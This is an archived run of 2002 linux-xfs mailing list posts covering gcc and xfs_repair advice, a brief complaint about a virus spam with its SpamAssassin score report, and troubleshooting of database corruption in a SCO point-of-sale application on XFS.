Received: from auto-nb1.xs4all.nl (host-4.coltex.demon.nl [212.238.252.68]) by smtpzilla1.xs4all.nl (8.12.0/8.12.0) with ESMTP id g7Q9KFvl060443; Mon, 26 Aug 2002 11:20:15 +0200 (CEST) Message-Id: <4.3.2.7.2.20020826111628.03b2e510@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 26 Aug 2002 11:19:02 +0200 To: johncoltrane39@gmx.de, linux-xfs@oss.sgi.com From: Seth Mos Subject: Re: hanging when mounting In-Reply-To: <7728.1030347830@www8.gmx.net> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 13 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: knuffie@xs4all.nl Precedence: bulk X-list: linux-xfs At 09:43 26-8-2002 +0200, johncoltrane39@gmx.de wrote: >I also decided to update to the recent xfsprogs 2.0.3 from the ftp server >this evening and to give xfs_repair a try. I cannot imagine what has happened >to the xfs partitions, in my view it seems related to the update to the >2.4.19, but going back to the painless 2.4.16 didn't help. In the moment I >read in >the FAQ that gcc 2.95-2 should not be used, may be I should update to 2.95-3, >what's recommended in the FAQ Drop 2.95.2 and get 2.95.3 or later. 2.95.2 is known to miscompile some code (in the past). Since 2.95.3 is publicly available and a bugfix release that one should be used instead. >Any further suggestions ? Capture the output from an xfs_repair if you can. Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Mon Aug 26 05:40:06 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 05:40:07 -0700 (PDT) Received: from burgers.bubbanfriends.org (IDENT:postfix@dhcp024-208-195-177.indy.rr.com [24.208.195.177]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7QCe49D025733 for ; Mon, 26 Aug 2002 05:40:05 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by burgers.bubbanfriends.org (Postfix) with ESMTP id DEB0A4001A1; Mon, 26 Aug 2002 07:43:30 -0500 (EST) Received: by burgers.bubbanfriends.org (Postfix, from userid 500) id 43EDD4001A0; Mon, 26 Aug 2002 07:43:29 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by burgers.bubbanfriends.org (Postfix) with ESMTP id 422D4C00465; Mon, 26 Aug 2002 07:43:29 -0500 (EST) Date: Mon, 26 Aug 2002 07:43:29 -0500 (EST) From: Mike Burger To: Ethan Benson Cc: linux-xfs@oss.sgi.com Subject: Re: A WinXP patch In-Reply-To: <20020825215621.A27447@plato.local.lan> Message-ID: MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII X-Virus-Scanned: by AMaViS new-20020517 Content-Transfer-Encoding: 8bit X-archive-position: 14 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mburger@bubbanfriends.org Precedence: bulk X-list: linux-xfs SA probably wouldn't have caught it. Luckily, my amavisd/antivir combo did. On Sun, 25 Aug 2002, Ethan Benson wrote: > On Mon, Aug 26, 2002 at 01:39:11AM -0400, webmaster wrote: > > > blah can't the new listserver run mail through spamassassin like the > old setup did? > > From owner-linux-xfs@oss.sgi.com Mon Aug 26 06:33:28 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 06:33:29 -0700 (PDT) Received: from eclectic.kluge.net (IDENT:h6H0anlUxY69ZnQ/aKXiw62U4czhaaGg@eclectic.kluge.net [66.92.69.221]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7QDXR9D026947 for ; Mon, 26 Aug 2002 06:33:28 -0700 Received: (from felicity@localhost) by eclectic.kluge.net (8.11.6/8.11.6) id g7QDalL23060; Mon, 26 Aug 2002 09:36:47 -0400 Date: Mon, 26 Aug 2002 09:36:47 -0400 From: Theo Van Dinter To: Mike Burger Cc: linux-xfs@oss.sgi.com Subject: Re: A WinXP patch Message-ID: <20020826133646.GB22254@kluge.net> References: <20020825215621.A27447@plato.local.lan> Mime-Version: 1.0 Content-type: text/plain Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i X-GPG-Keyserver: http://wwwkeys.pgp.net X-GPG-Keynumber: 0xE580B363 X-GPG-Fingerprint: 75B1 F6D0 8368 38E7 A4C5 F6C2 02E3 9051 E580 B363 Content-Transfer-Encoding: 8bit X-archive-position: 15 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: felicity@kluge.net Precedence: bulk X-list: linux-xfs On Mon, Aug 26, 2002 at 07:43:29AM -0500, Mike Burger wrote: > SA probably wouldn't have caught it. Hmmm, I don't know where you get that idea: SPAM: Content analysis details: (9.6 hits, 5 required) SPAM: FROM_NAME_NO_SPACES (-0.1 points) From: no spaces in name SPAM: DATE_WARNING (3.1 points) Found a Date-warning header SPAM: LARGE_HEX (2.5 points) BODY: Contains a large block of hexadecimal code SPAM: DOUBLE_CAPSWORD (1.1 points) BODY: A word in all caps repeated on the line SPAM: RELAYING_FRAME (0.0 points) BODY: Frame wanted to load outside URL SPAM: THEO_IFRAME_BODY (0.0 points) BODY: Likely a Windows virus (2) SPAM: RAZOR_CHECK (3.0 points) Listed in Razor, see http://razor.sourceforge.net/ -- Randomly Generated Tagline: 8 of 10 people suffer hemorrhoids. Two enjoy them. -- Attached file included as plaintext by Ecartis -- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9ai7uAuOQUeWAs2MRAr//AKCJuk31TfevzjQ9LBbkm9ZU5XIQ5wCgqWDq WXnZ6NIYEtgKx9uBMs+Pm+c= =CqOv -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Mon Aug 26 08:49:00 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 08:49:01 -0700 (PDT) Received: from itspec.amoa.org (amoa.org [207.207.51.226]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7QFn09D030007 for ; Mon, 26 Aug 2002 08:49:00 -0700 Received: (from ctooley@localhost) by itspec.amoa.org (8.11.6/8.11.6) id g7QFqh930046; Mon, 26 Aug 2002 10:52:43 -0500 X-Authentication-Warning: itspec.amoa.org: ctooley set sender to ctooley@amoa.org using -f Subject: Locking problems From: Chris Tooley To: linux-xfs@oss.sgi.com Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 26 Aug 2002 10:52:43 -0500 Message-Id: <1030377163.28487.16.camel@itspec.amoa.org> Mime-Version: 1.0 X-archive-position: 16 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ctooley@amoa.org Precedence: bulk X-list: linux-xfs We're running a point of sale system on Linux and have put the data on an XFS partition. Unfortunately there has been consistent corruption of the data during writes to the database. Since the database is an ISAM database, it's all stored in files that are opened and closed a lot. The vendor of the point of sale is blaming XFS for the corruption. The application is an old COBOL app that is using the binary compatability modules to run. Are there any known problems with corruption when using these binary compatability libraries with 1.1? Chris Tooley From owner-linux-xfs@oss.sgi.com Mon Aug 26 09:58:01 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 09:58:02 -0700 (PDT) Received: from mail02.securities.com (mail01.securities.com [57.69.15.71]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7QGw09D031558 for ; Mon, 26 Aug 2002 09:58:01 -0700 Received: from mail02.securities.com (localhost [127.0.0.1]) by mail02.securities.com (8.11.6/8.11.6-DELIVERY) with ESMTP id g7QGvSJ12040 for ; Mon, 26 Aug 2002 12:57:28 -0400 Received: from localhost (venevene@localhost) by mail02.securities.com (8.11.6/8.11.6-SMTP) with ESMTP id g7QGvRR12031; Mon, 26 Aug 2002 12:57:28 -0400 Date: Mon, 26 Aug 2002 12:57:27 -0400 (EDT) From: Benito Venegas To: Chris Tooley cc: Subject: Re: Locking problems In-Reply-To: <1030377163.28487.16.camel@itspec.amoa.org> Message-ID: MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-archive-position: 17 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: venevene@securities.com Precedence: bulk X-list: linux-xfs Chris: What kernel are you using? What HW config are you using? (RAID level?? by HW, by SW, no RAID) Thanks On 26 Aug 2002, Chris Tooley wrote: > > We're running a point of sale system on Linux and have put the data on > an XFS partition. Unfortunately there has been consistent corruption of > the data during writes to the database. Since the database is an ISAM > database, it's all stored in files that are opened and closed a lot. > The vendor of the point of sale is blaming XFS for the corruption. The > application is an old COBOL app that is using the binary compatability > modules to run. Are there any known problems with corruption when using > these binary compatability libraries with 1.1? > > Chris Tooley > > > Benito From owner-linux-xfs@oss.sgi.com Mon Aug 26 10:09:36 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 10:09:39 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7QH9Z9D031645 for ; Mon, 26 Aug 2002 10:09:35 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id MAA18913; Mon, 26 Aug 2002 12:12:54 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id MAA29973; Mon, 26 Aug 2002 12:12:53 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7QHCGo11094; Mon, 26 Aug 2002 12:12:16 -0500 Subject: Re: Locking problems From: Steve Lord To: Chris Tooley Cc: linux-xfs@oss.sgi.com In-Reply-To: <1030377163.28487.16.camel@itspec.amoa.org> References: <1030377163.28487.16.camel@itspec.amoa.org> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 26 Aug 2002 12:12:16 -0500 Message-Id: <1030381936.28544.22.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 18 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Mon, 2002-08-26 at 10:52, Chris Tooley wrote: > > We're running a point of sale system on Linux and have put the data on > an XFS partition. Unfortunately there has been consistent corruption of > the data during writes to the database. Since the database is an ISAM > database, it's all stored in files that are opened and closed a lot. > The vendor of the point of sale is blaming XFS for the corruption. The > application is an old COBOL app that is using the binary compatability > modules to run. Are there any known problems with corruption when using > these binary compatability libraries with 1.1? I am not aware of any specific corruption issues in 1.1, I know nothing of the 'binary compatibility modules you are referring to. Is this for running things like a.out binaries? Do you have any information about the pattern of the corruption, or the types of I/O being done to the files? Steve > > Chris Tooley > > -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Mon Aug 26 10:52:14 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 10:52:16 -0700 (PDT) Received: from itspec.amoa.org (amoa.org [207.207.51.226]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7QHqE9D031965 for ; Mon, 26 Aug 2002 10:52:14 -0700 Received: (from ctooley@localhost) by itspec.amoa.org (8.11.6/8.11.6) id g7QHtv231955; Mon, 26 Aug 2002 12:55:57 -0500 X-Authentication-Warning: itspec.amoa.org: ctooley set sender to ctooley@amoa.org using -f Subject: Re: Locking problems From: Chris Tooley To: Steve Lord Cc: linux-xfs@oss.sgi.com In-Reply-To: <1030381936.28544.22.camel@jen.americas.sgi.com> References: <1030377163.28487.16.camel@itspec.amoa.org> <1030381936.28544.22.camel@jen.americas.sgi.com> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 26 Aug 2002 12:55:56 -0500 Message-Id: <1030384556.31866.5.camel@itspec.amoa.org> Mime-Version: 1.0 X-archive-position: 19 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ctooley@amoa.org Precedence: bulk X-list: linux-xfs The problems we are seeing are with an old application that uses the SCO OpenUnix and Unixware binary compatability modules. They can be found at abi.sourceforge.net and are for running applications built for other systems on Linux. RedHat includes them but I've also tried patching different ways. I'm currently running 2.4.19 vanilla plus the abi patches plus the XFS patch. I've tried a lot of different kernel rpms and all have come up with the same issues. I've got some machines using nfs to get at the data and some machines using ssh. It doesn't seem to make a difference which they are using, or if we even just provide ssh access. Chris Tooley On Mon, 2002-08-26 at 12:12, Steve Lord wrote: > On Mon, 2002-08-26 at 10:52, Chris Tooley wrote: > > > > We're running a point of sale system on Linux and have put the data on > > an XFS partition. Unfortunately there has been consistent corruption of > > the data during writes to the database. Since the database is an ISAM > > database, it's all stored in files that are opened and closed a lot. > > The vendor of the point of sale is blaming XFS for the corruption. The > > application is an old COBOL app that is using the binary compatability > > modules to run. Are there any known problems with corruption when using > > these binary compatability libraries with 1.1? > > I am not aware of any specific corruption issues in 1.1, I know > nothing of the 'binary compatibility modules you are referring > to. Is this for running things like a.out binaries? > > Do you have any information about the pattern of the corruption, or > the types of I/O being done to the files? > > Steve > > > > > Chris Tooley > > > > > -- > > Steve Lord voice: +1-651-683-3511 > Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Mon Aug 26 10:59:40 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 10:59:41 -0700 (PDT) Received: from itspec.amoa.org (amoa.org [207.207.51.226]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7QHxd9D032066 for ; Mon, 26 Aug 2002 10:59:39 -0700 Received: (from ctooley@localhost) by itspec.amoa.org (8.11.6/8.11.6) id g7QI3ND32006; Mon, 26 Aug 2002 13:03:23 -0500 X-Authentication-Warning: itspec.amoa.org: ctooley set sender to ctooley@amoa.org using -f Subject: Re: Locking problems From: Chris Tooley To: Steve Lord , linux-xfs@oss.sgi.com In-Reply-To: <1030384556.31866.5.camel@itspec.amoa.org> References: <1030377163.28487.16.camel@itspec.amoa.org> <1030381936.28544.22.camel@jen.americas.sgi.com> <1030384556.31866.5.camel@itspec.amoa.org> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 26 Aug 2002 13:03:23 -0500 Message-Id: <1030385003.31858.17.camel@itspec.amoa.org> Mime-Version: 1.0 X-archive-position: 20 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ctooley@amoa.org Precedence: bulk X-list: linux-xfs Very sorry, that's linux-abi.sourceforge.net On Mon, 2002-08-26 at 12:55, Chris Tooley wrote: > > The problems we are seeing are with an old application that uses the SCO > OpenUnix and Unixware binary compatability modules. They can be found > at abi.sourceforge.net and are for running applications built for other > systems on Linux. RedHat includes them but I've also tried patching > different ways. > > I'm currently running 2.4.19 vanilla plus the abi patches plus the XFS > patch. I've tried a lot of different kernel rpms and all have come up > with the same issues. I've got some machines using nfs to get at the > data and some machines using ssh. It doesn't seem to make a difference > which they are using, or if we even just provide ssh access. > > Chris Tooley > > On Mon, 2002-08-26 at 12:12, Steve Lord wrote: > > On Mon, 2002-08-26 at 10:52, Chris Tooley wrote: > > > > > > We're running a point of sale system on Linux and have put the data on > > > an XFS partition. Unfortunately there has been consistent corruption of > > > the data during writes to the database. Since the database is an ISAM > > > database, it's all stored in files that are opened and closed a lot. > > > The vendor of the point of sale is blaming XFS for the corruption. The > > > application is an old COBOL app that is using the binary compatability > > > modules to run. Are there any known problems with corruption when using > > > these binary compatability libraries with 1.1? > > > > I am not aware of any specific corruption issues in 1.1, I know > > nothing of the 'binary compatibility modules you are referring > > to. Is this for running things like a.out binaries? > > > > Do you have any information about the pattern of the corruption, or > > the types of I/O being done to the files? > > > > Steve > > > > > > > > Chris Tooley > > > > > > > > -- > > > > Steve Lord voice: +1-651-683-3511 > > Principal Engineer, Filesystem Software email: lord@sgi.com > > From owner-linux-xfs@oss.sgi.com Mon Aug 26 11:03:41 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 11:03:42 -0700 (PDT) Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7QI3e9D032115 for ; Mon, 26 Aug 2002 11:03:40 -0700 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 6831814C24; Mon, 26 Aug 2002 20:06:59 +0200 (MEST) Date: Mon, 26 Aug 2002 20:06:58 +0200 From: Andi Kleen To: Steve Lord Cc: Chris Tooley , linux-xfs@oss.sgi.com Subject: Re: Locking problems Message-ID: <20020826200658.A32118@wotan.suse.de> References: <1030377163.28487.16.camel@itspec.amoa.org> <1030381936.28544.22.camel@jen.americas.sgi.com> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1030381936.28544.22.camel@jen.americas.sgi.com> User-Agent: Mutt/1.3.22.1i Content-Transfer-Encoding: 8bit X-archive-position: 21 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: linux-xfs On Mon, Aug 26, 2002 at 12:12:16PM -0500, Steve Lord wrote: > > On Mon, 2002-08-26 at 10:52, Chris Tooley wrote: > > > > We're running a point of sale system on Linux and have put the data on > > an XFS partition. Unfortunately there has been consistent corruption of > > the data during writes to the database. Since the database is an ISAM > > database, it's all stored in files that are opened and closed a lot. > > The vendor of the point of sale is blaming XFS for the corruption. The > > application is an old COBOL app that is using the binary compatability > > modules to run. Are there any known problems with corruption when using > > these binary compatability libraries with 1.1? > > I am not aware of any specific corruption issues in 1.1, I know > nothing of the 'binary compatibility modules you are referring > to. Is this for running things like a.out binaries? Suspect he refers to the iBCS/Linux ABI patches for SCO etc. emulation. Christoph should know more about it, he used to maintain that stuff. I doubt it can cause specific data corruption thought - read/write should be directly handed through to the linux implementations because there is not much to emulate there. > > Do you have any information about the pattern of the corruption, or > the types of I/O being done to the files? Point-Of-Sale sounds like it'll be often power cycled without proper shutdown. This could cause problems if the HD does write buffer a lot of data on its own. I would try applying the ordered writing patches or at least turn off the write cache of the HD. -Andi From owner-linux-xfs@oss.sgi.com Mon Aug 26 11:07:12 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 11:07:13 -0700 (PDT) Received: from itspec.amoa.org (amoa.org [207.207.51.226]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7QI7B9D032173 for ; Mon, 26 Aug 2002 11:07:12 -0700 Received: (from ctooley@localhost) by itspec.amoa.org (8.11.6/8.11.6) id g7QIAbt32020; Mon, 26 Aug 2002 13:10:37 -0500 X-Authentication-Warning: itspec.amoa.org: ctooley set sender to ctooley@amoa.org using -f Subject: Re: Locking problems From: Chris Tooley To: Andi Kleen Cc: Steve Lord , linux-xfs@oss.sgi.com In-Reply-To: <20020826200658.A32118@wotan.suse.de> References: <1030377163.28487.16.camel@itspec.amoa.org> <1030381936.28544.22.camel@jen.americas.sgi.com> <20020826200658.A32118@wotan.suse.de> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 26 Aug 2002 13:10:36 -0500 Message-Id: <1030385436.31858.20.camel@itspec.amoa.org> Mime-Version: 1.0 X-archive-position: 22 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ctooley@amoa.org Precedence: bulk X-list: linux-xfs On Mon, 2002-08-26 at 13:06, Andi Kleen wrote: > On Mon, Aug 26, 2002 at 12:12:16PM -0500, Steve Lord wrote: > > > > On Mon, 2002-08-26 at 10:52, Chris Tooley wrote: > > > > > > We're running a point of sale system on Linux and have put the data on > > > an XFS partition. Unfortunately there has been consistent corruption of > > > the data during writes to the database. Since the database is an ISAM > > > database, it's all stored in files that are opened and closed a lot. > > > The vendor of the point of sale is blaming XFS for the corruption. The > > > application is an old COBOL app that is using the binary compatability > > > modules to run. Are there any known problems with corruption when using > > > these binary compatability libraries with 1.1? > > > > I am not aware of any specific corruption issues in 1.1, I know > > nothing of the 'binary compatibility modules you are referring > > to. Is this for running things like a.out binaries? > > Suspect he refers to the iBCS/Linux ABI patches for SCO etc. emulation. > Christoph should know more about it, he used to maintain that stuff. > > I doubt it can cause specific data corruption thought - read/write > should be directly handed through to the linux implementations because > there is not much to emulate there. > > > > > Do you have any information about the pattern of the corruption, or > > the types of I/O being done to the files? > > Point-Of-Sale sounds like it'll be often power cycled without proper > shutdown. This could cause problems if the HD does write buffer a lot of data > on its own. I would try applying the ordered writing patches or at least > turn off the write cache of the HD. > The application is a linux application and runs in text mode only. There is no gui. I can cause the same problems when I only allow ssh access to it as well. That means no reseting because I don't restart the server. > -Andi > From owner-linux-xfs@oss.sgi.com Mon Aug 26 11:42:11 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 11:42:13 -0700 (PDT) Received: from phoenix.infradead.org (phoenix.mvhi.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7QIgA9D032506 for ; Mon, 26 Aug 2002 11:42:11 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17jOrf-0000yj-00; Mon, 26 Aug 2002 19:45:27 +0100 Date: Mon, 26 Aug 2002 19:45:27 +0100 From: Christoph Hellwig To: Chris Tooley Cc: Andi Kleen , Steve Lord , linux-xfs@oss.sgi.com Subject: Re: Locking problems Message-ID: <20020826194527.A3750@infradead.org> References: <1030377163.28487.16.camel@itspec.amoa.org> <1030381936.28544.22.camel@jen.americas.sgi.com> <20020826200658.A32118@wotan.suse.de> <1030385436.31858.20.camel@itspec.amoa.org> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1030385436.31858.20.camel@itspec.amoa.org>; from ctooley@amoa.org on Mon, Aug 26, 2002 at 01:10:36PM -0500 Content-Transfer-Encoding: 8bit X-archive-position: 23 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: linux-xfs On Mon, Aug 26, 2002 at 01:10:36PM -0500, Chris Tooley wrote: > > Suspect he refers to the iBCS/Linux ABI patches for SCO etc. emulation. > > Christoph should know more about it, he used to maintain that stuff. I'm still looking after it. > > I doubt it can cause specific data corruption thought - read/write > > should be directly handed through to the linux implementations because > > there is not much to emulate there. *nod* - all emulations use write directly, and the only change in read for certain personalities is to allow read ond directories, returning sysvfs dirent. > > Point-Of-Sale sounds like it'll be often power cycled without proper > > shutdown. This could cause problems if the HD does write buffer a lot of data > > on its own. I would try applying the ordered writing patches or at least > > turn off the write cache of the HD. > > > The application is a linux application and runs in text mode only. > There is no gui. I can cause the same problems when I only allow ssh > access to it as well. That means no reseting because I don't restart > the server. Why do you need linux-abi then if it's a native application? From owner-linux-xfs@oss.sgi.com Mon Aug 26 11:45:38 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 11:45:39 -0700 (PDT) Received: from itspec.amoa.org (amoa.org [207.207.51.226]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7QIjb9D032567 for ; Mon, 26 Aug 2002 11:45:38 -0700 Received: (from ctooley@localhost) by itspec.amoa.org (8.11.6/8.11.6) id g7QImgm32125; Mon, 26 Aug 2002 13:48:42 -0500 X-Authentication-Warning: itspec.amoa.org: ctooley set sender to ctooley@amoa.org using -f Subject: Re: Locking problems From: Chris Tooley To: Christoph Hellwig Cc: Andi Kleen , Steve Lord , linux-xfs@oss.sgi.com In-Reply-To: <20020826194527.A3750@infradead.org> References: <1030377163.28487.16.camel@itspec.amoa.org> <1030381936.28544.22.camel@jen.americas.sgi.com> <20020826200658.A32118@wotan.suse.de> <1030385436.31858.20.camel@itspec.amoa.org> <20020826194527.A3750@infradead.org> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 26 Aug 2002 13:48:41 -0500 Message-Id: <1030387721.32090.0.camel@itspec.amoa.org> Mime-Version: 1.0 X-archive-position: 24 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ctooley@amoa.org Precedence: bulk X-list: linux-xfs On Mon, 2002-08-26 at 13:45, Christoph Hellwig wrote: > On Mon, Aug 26, 2002 at 01:10:36PM -0500, Chris Tooley wrote: > > > Suspect he refers to the iBCS/Linux ABI patches for SCO etc. emulation. > > > Christoph should know more about it, he used to maintain that stuff. > > I'm still looking after it. > > > > I doubt it can cause specific data corruption thought - read/write > > > should be directly handed through to the linux implementations because > > > there is not much to emulate there. > > *nod* - all emulations use write directly, and the only change in read for > certain personalities is to allow read ond directories, returning sysvfs > dirent. > > > > Point-Of-Sale sounds like it'll be often power cycled without proper > > > shutdown. This could cause problems if the HD does write buffer a lot of data > > > on its own. I would try applying the ordered writing patches or at least > > > turn off the write cache of the HD. > > > > > The application is a linux application and runs in text mode only. > > There is no gui. I can cause the same problems when I only allow ssh > > access to it as well. That means no reseting because I don't restart > > the server. > > Why do you need linux-abi then if it's a native application? > Because I'm mostly a moron. ;) It's a SCO application that only runs in text mode. Unfortunately it doesn't have these problems with ext2. Chris Tooley From owner-linux-xfs@oss.sgi.com Mon Aug 26 12:03:47 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 12:03:49 -0700 (PDT) Received: from thompsk.student.earlham.edu (thompsk.student.earlham.edu [159.28.164.194]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7QJ3b9D032757 for ; Mon, 26 Aug 2002 12:03:37 -0700 Received: by thompsk.student.earlham.edu (Postfix, from userid 502) id 8D72A35CD250; Mon, 26 Aug 2002 14:07:00 -0500 (CDT) Date: Mon, 26 Aug 2002 14:07:00 -0500 From: Skylar Thompson To: linux-xfs@oss.sgi.com Subject: Re: Locking problems Message-ID: <20020826190700.GB1894@thompsk.student.earlham.edu> Reply-To: Skylar Thompson Mail-Followup-To: linux-xfs@oss.sgi.com References: <1030377163.28487.16.camel@itspec.amoa.org> Mime-Version: 1.0 Content-type: text/plain Content-Disposition: inline In-Reply-To: <1030377163.28487.16.camel@itspec.amoa.org> User-Agent: Mutt/1.4i X-Sender: "Skylar Thompson" X-Accept-Primary-Language: en X-Accept-Secondary-Language: es X-Accept-Tertiary-Language: Quenya SMTP-Mailing-Host: thompsk.student.earlham.edu X-System: Dual 450MHz Xeons with 256MB PC100 ECC-SDRAM X-Machine: IBM Intellistation Z Pro 6865-22U X-Operating-System: Red Hat Linux 7.2 with kernel 2.4.18-grsec Organization: League of Morgoth X-Editor: VIM - Vi IMproved 6.1 (2002 Mar 24, compiled Mar 26 2002 21:28:16) Content-Transfer-Encoding: 8bit X-archive-position: 25 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: skylar@attglobal.net Precedence: bulk X-list: linux-xfs On Mon, Aug 26, 2002 at 10:52:43AM -0500, Chris Tooley wrote: > > We're running a point of sale system on Linux and have put the data on > an XFS partition. Unfortunately there has been consistent corruption of > the data during writes to the database. Since the database is an ISAM > database, it's all stored in files that are opened and closed a lot. > The vendor of the point of sale is blaming XFS for the corruption. The > application is an old COBOL app that is using the binary compatability > modules to run. Are there any known problems with corruption when using > these binary compatability libraries with 1.1? Are you using IDE drives? I know there are problems with some IDE drives caching data incorrectly, which causes corruption in the event of a power failure. -- -- Skylar Thompson (skylar@attglobal.net) -- Attached file included as plaintext by Ecartis -- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9anxUYyzijMrwBxERAmEZAJ9DWcmS9BwJ+3Eev0bAxwsYbs+nGwCgi2h0 frlaiUyM1pkT+yvnu/GqRqA= =R66B -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Mon Aug 26 14:14:15 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 14:14:17 -0700 (PDT) Received: from itspec.amoa.org (amoa.org [207.207.51.226]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7QLEE9D006851 for ; Mon, 26 Aug 2002 14:14:15 -0700 Received: (from ctooley@localhost) by itspec.amoa.org (8.11.6/8.11.6) id g7QLI0q32250; Mon, 26 Aug 2002 16:18:00 -0500 X-Authentication-Warning: itspec.amoa.org: ctooley set sender to ctooley@amoa.org using -f Subject: Re: Locking problems From: Chris Tooley To: linux-xfs@oss.sgi.com In-Reply-To: <20020826190700.GB1894@thompsk.student.earlham.edu> References: 